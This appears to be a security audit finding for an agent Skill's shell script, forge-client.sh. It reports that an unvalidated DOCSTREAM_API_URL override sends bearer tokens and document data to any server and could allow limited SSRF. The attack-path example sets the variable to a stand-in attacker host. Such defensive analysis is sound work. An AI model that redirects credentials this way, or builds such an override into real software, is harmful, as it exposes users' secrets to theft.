T09 · Insecure Skill Coding Practices
- Location
scripts/forge-client.sh:3- Finding
Bearer Credential Disclosure Through an Unrestricted API Endpoint Override
- Content
View full analysis
&2 || { echo "❌ Signup failed" >&2; exit 1; } fi [ -z "$API_KEY" ] && { echo "❌ Set DOCSTREAM_API_KEY or DOCSTREAM_EMAIL" >&2; exit 1; } ACTION="${1:-help}"; shift || true case "$ACTION" in process) curl -sf -X POST "$API_BASE/v1/documents/process" -H "Authorization: Bearer $API_KEY" -H "Content-Type: application/json" -d "$1" ;; ``` ### Technical Analysis The script permits `DOCSTREAM_API_URL` to replace the trusted DocStream origin without validating the URL scheme or hostname. The resulting value is used for both account registration and authenticated document-processing requests. When the `process` action is invoked, the script sends the complete bearer credential in the `Authorization` header to whichever server is selected by `DOCSTREAM_API_URL`. Consequently, an attacker who can influence the process environment can redirect credentials and submitted document-processing data to an attacker-controlled endpoint. The same override can also direct requests toward an internal network service. Although the appended paths constrain the reachable URL paths, this may still enable limited server-side request forgery from the execution environment. ### Attack Path 1. An attacker influences the environment used to launch the Skill, for example by setting: ```bash DOCSTREAM_API_URL=https://attacker.example ``` 2. A user or agent invokes: ...[truncated 1086 chars]- Remediation
View remediation
